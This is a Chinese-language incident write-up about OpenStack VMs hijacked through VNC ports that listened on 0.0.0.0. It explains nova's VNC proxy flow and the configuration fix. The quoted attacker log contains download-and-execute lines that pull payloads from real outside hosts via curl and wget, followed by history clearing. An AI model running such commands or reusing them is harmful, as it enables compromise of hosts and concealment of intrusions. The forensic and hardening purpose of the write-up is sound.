一:問題定位
現象:
近期發現有幾台openstack雲主機被修改密碼並被肉雞。
黑客操作日志:
18-02-01 22:41:26 ##### root tty1 22:41 #### 2018-02-01 22:41:13 top 18-02-01 22:41:26 ##### root tty1 22:41 #### 2018-02-01 22:41:26 clear 18-02-01 22:41:33 ##### root tty1 22:41 #### 2018-02-01 22:41:33 nvidia-smi 18-02-01 22:41:42 ##### root tty1 22:41 #### 2018-02-01 22:41:42 cd /opt 18-02-01 22:41:42 ##### root tty1 22:41 #### 2018-02-01 22:41:42 ls 18-02-01 22:41:45 ##### root tty1 22:41 #### 2018-02-01 22:41:45 ls -a 18-02-01 22:42:09 ##### root tty1 22:41 #### 2018-02-01 22:41:58 curl 666y.atwebpages.com/yamit.txt -o yamit && chmod +x yamit &&./yamit 18-02-01 22:42:12 ##### root tty1 22:41 #### 2018-02-01 22:42:12 ls 18-02-01 22:42:20 ##### root tty1 22:41 #### 2018-02-01 22:42:20 cat yamit 18-02-01 22:42:29 ##### root tty1 22:41 #### 2018-02-01 22:42:29 histoy -c 18-02-01 22:42:31 ##### root tty1 22:41 #### 18-02-01 22:42:33 ##### root tty1 22:41 #### 2018-02-01 22:42:33 rm -rf yamit 18-02-01 22:42:40 ##### root tty1 22:41 #### 2018-02-01 22:42:35 top 18-02-01 22:42:40 ##### root tty1 22:41 #### 2018-02-01 22:42:40 ear 18-02-01 22:42:42 ##### root tty1 22:41 #### 18-02-01 22:43:09 ##### root tty1 22:43 #### 2018-02-01 22:42:45 exit 18-02-01 22:43:11 ##### root tty1 22:43 #### 2018-02-01 22:43:11 clear 18-02-03 03:56:25 ##### root tty1 03:56 #### 2018-02-01 22:43:12 exit 18-02-03 03:56:28 ##### root tty1 03:56 #### 2018-02-03 03:56:28 ifconfig 18-02-03 03:56:44 ##### root tty1 03:56 #### 2018-02-03 03:56:42 ping ya.ru 18-02-03 03:57:01 ##### root tty1 03:56 #### 2018-02-03 03:57:00 wget https://pastebin.com/raw/BZk9zRE2 18-02-03 03:57:04 ##### root tty1 03:56 #### 2018-02-03 03:57:04 bash B 18-02-03 03:57:31 ##### root tty1 03:56 #### 2018-02-03 03:57:06 bash BZk9zRE2 18-02-03 03:57:38 ##### root tty1 03:56 #### 2018-02-03 03:57:38 rm BZk9zRE2 18-02-03 03:57:42 ##### root tty1 03:56 #### 2018-02-03 03:57:42 history =c
登陸方式不是通過暴力破解的方式進行登陸此機器,同時看日志看到登陸前有重啟虛擬機的行為。
根據重啟日志,應該是黑客通過某種方式重啟 OpenStack 中的虛擬機,目前有以下幾種方式
1.有權限登陸 OpenStack 物理機,在物理機上操作虛擬機[排除--根據操作日志]
2.有權限登陸 OpenStack dashboard,然后界面上 VNC 操作虛擬機[排除--根據 web 界面重啟日志]
3.使用 VNC 客戶端直接操作 OpenStack 中的虛擬機
根據以上方法,確認是以 VNC 客戶端直接操作 OpenStack 中的虛擬機導致。
二:處理方法
2.1VNC
VNC (Virtual Network Computer) 是虛擬網絡計算機的縮寫
2 .2用 VNC 客戶端查看 openstack 創建的虛擬機
在雲計算的環境中,實際上更多的時候是使用 VNC 工具去查看雲系統中的 VM。以下記錄如何查看的方法:
計算節點查看虛擬機的 ID(libvird 的,非 instanc_id)
[root@compute1 ~]# virsh list --all Id Name State ---------------------------------------------------- 51 instance-000000b7 running 63 instance-000000d3 running 64 instance-000000de running#############比如這台 - instance-000000ac shut off - instance-000000b2 shut off - instance-000000b3 shut off - instance-000000bb shut off
找到需要連接的虛擬機的 ID 號,查看其中暴露的端口:
[root@compute1 ~]# virsh vncdisplay 64 :1
然后在 VNC 查看工具中輸入相關連接:
在 VNC 客戶端上輸入 對應的計算節點 IP:1
點擊 Connect 后就可以連接上 openstack 創建的虛擬機。
【備注】以上采用的方法,實際是直接連接的底層的 libvirt,本質上和上層的 openstack 無太大關系,因此也可以用於其它平台。
2.3 查看外網可以連接的實例
root 權限登陸計算節點后
#netstat -tanp | grep kvm | grep LISTEN
輸出的內容中,監聽地址為0.0.0.0
的,都可以外網直接訪問此實例
3 OpenStack 中 VNC 分析
3.1 VNC Proxy 的功能
將公網 (public network) 和私網 (private network) 隔離
- VNC client 運行在公網上,VNCServer 運行在私網上,VNC Proxy 作為中間的橋梁將二者連接起來
- VNC Proxy 通過 token 對 VNC Client 進行驗證
- VNC Proxy 不僅僅使得私網的訪問更加安全,而且將具體的 VNC Server 的實現分離,可以支持不同 Hypervisor 的 VNC Server 但不影響用戶體驗
3.2 VNC Proxy 的運行過程
- (01) 一個用戶試圖從瀏覽器里面打開連接到虛擬機的 VNC Client
- (02) 瀏覽器向 nova-api 發送請求,要求返回訪問 vnc 的 url
- (03) nova-api 調用 nova-compute 的 get vnc console 方法,要求返回連接 VNC 的信息
- (04) nova-compute 調用 libvirt 的 get vnc console 函數
- (05) libvirt 會通過解析虛擬機運行的 /etc/libvirt/qemu/instance-0000000c.xml 文件來獲得 VNC Server 的信息
- (06) libvirt 將 host, port 等信息以 json 格式返回給 nova-compute
- (07) nova-compute 會隨機生成一個 UUID 作為 Token
- (08) nova-compute 將 libvirt 返回的信息以及配置文件中的信息綜合成 connect_info 返回給 nova-api
- (09) nova-api 會調用 nova-consoleauth 的 authorize_console 函數
- (10) nova-consoleauth 會將 instance –> token, token –> connect_info 的信息 cache 起來
- (11) nova-api 將 connect_info 中的 access url 信息返回給瀏覽器:http://172.24.1.1:6080/vnc_auto.html?token=7efaee3f-eada-4731-a87c-e173cbd25e98&title=helloworld%289169fdb2-5b74-46b1-9803-60d2926bd97c%29
- (12) 瀏覽器會試圖打開這個鏈接
- (13) 這個鏈接會將請求發送給 nova-novncproxy
- (14) nova-novncproxy 調用 nova-consoleauth 的 check_token 函數
- (15) nova-consoleauth 驗證了這個 token,將這個 instance 對應的 connect_info 返回給 nova-novncproxy
- (16) nova-novncproxy 通過 connect_info 中的 host, port 等信息,連接 compute 節點上的 VNC Server,從而開始了 proxy 的工作
3.3 NOVA 中 VNC 相關配置
- vnc_enabled=True 啟用虛擬機的 VNC 功能。
- vncserver_listen=0.0.0.0
- 127.0.0.1(默認),即只可以從本機進行訪問,缺點是瀏覽器 VNC 訪問實例也會失敗
- 管理網的 IP 地址
- 0.0.0.0 主要是考慮到動態遷移時,目的宿主機沒有相應的 IP 地址,動態遷移會失敗。
- vncserver_proxyclient_address 該地址指明 vnc proxy 應該通過那個 IP 地址來連接 vncserver,通常是管理網 IP 地址。
- novncproxy_base_url=http://SERVICEHOST:6080/vncauto.html 指定瀏覽器 client 應該連接的地址。
如果 OpenStack 平台架設在公網上,則 vncserver_listen 需要配置為管理網的 IP 地址,否則設置為 0.0.0.0
就會使得外網用戶可以直接訪問虛擬機,非常危險
3.4 重新設置監聽地址后老實例的處理方法
計算幾點重新設置監聽地址后(如從0.0.0.0
,修改為計算節點管理網段的 IP),老的實例的對外的 VNC 仍然是 0.0.0.0
那是因為 /etc/libvirt/qemu/instance-000000xx.xml
中配置的監聽地址沒有變化
可以通過硬重啟實例使之(老實例)生效